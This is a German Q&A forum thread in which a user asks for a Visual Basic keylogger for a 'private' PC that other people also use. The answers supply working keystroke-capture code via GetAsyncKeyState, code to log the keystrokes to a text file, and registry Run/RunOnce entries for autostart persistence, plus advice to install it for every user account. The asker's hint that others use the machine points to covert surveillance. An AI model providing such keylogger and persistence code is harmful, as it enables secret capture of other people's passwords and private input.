Visual Basic Keylogger für mein privat Pc?

...komplette Frage anzeigen

1 Antwort

Moin,

für so etwas gibt es auch massenhaft Programme, die nicht nur als Keylogger dienen sondern auch einige andere Tätigkeiten aufzeichnen.

Um deine Frage zu beantworten, mit Visual Basic könntest Du auch einen einfachen Keylogger erstellen, der nur die Tastatureingaben aufzeichnet.

Erstelle dafür in deiner Form-Anwendung eine große Textbox mit folgenden Eigenschaften:

  • Multiline = True
  • ReadOnly = True

Dort werden dann später die Tastatureingaben angezeigt.

Des Weiteren benötigst Du einen Timer mit folgenden Eigenschaften:

  • Enabled = True
  • Interval = 2

Unter Public Class Form 1 deklarierst Du folgendes:

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Beim Timer fügst Du folgendes ein:

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

Solange das Programm dann läuft, werden die Tastatureingaben aufgezeichnet.

Gruß 
Lukas

xGlumi 26.08.2016, 15:26

So müssten aber alle eingaben ausschließlich klein oder groß (weiss ich grad net genau, hab grad nix zum compilen) angezeigt werden.

Außerdem, weisst du bei dieser Abfrage nicht welche Tasten gerade in Kombination gedrückt worden (Shift, STRG etc.)

Und anstatt einen textbox in der du die ganzen Eigenschaften ändern musst, kannst du auch einfach eine Richtextbox nehmen...

Also eher Suboptimal das ganze da, wenn du deinen Logger weiterschreiben willst diese Methode im späteren Verlauf komplett entfernen wirst.

MFG xGlumi

0
spythegirl 27.08.2016, 14:10

Hi schonmal danke für deine Antwort. Könntest du mir einen Code vorfertigen das der Keylogger alles in eine txt Datei reinschreibt? Gut wäre aus auch noch wenn du mir noch sagst wie ich das Teil Systemweit laufen lasse und es in den Autostart einbinde! Ich wiederhole mich nochmal für meinen eigenen PC der nur von mir selbst benutzt wird und manchmal andere Leute drangehen...

0
xLukas123 27.08.2016, 14:34
@spythegirl

Ich habe schon seit Jahren nichts mehr mit VB gemacht.

Textdatei erstellen:

Dim datei As System.IO.FileStream
datei = System.IO.File.Create("c:\textdatei.txt")
FileClose(datei)

Text in die Datei schreiben:

My.Computer.FileSystem.WriteAllText("c:\textdatei.txt", textbox1.text, True)

Autostart:
Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce")

Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.Users.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")

Was meinst Du mit systemweit? Für mehrere Benutzer? Wenn ja, dann packe das Programm doch auf jeden Benutzer und tue es überall in den Autostart.

1

Was möchtest Du wissen?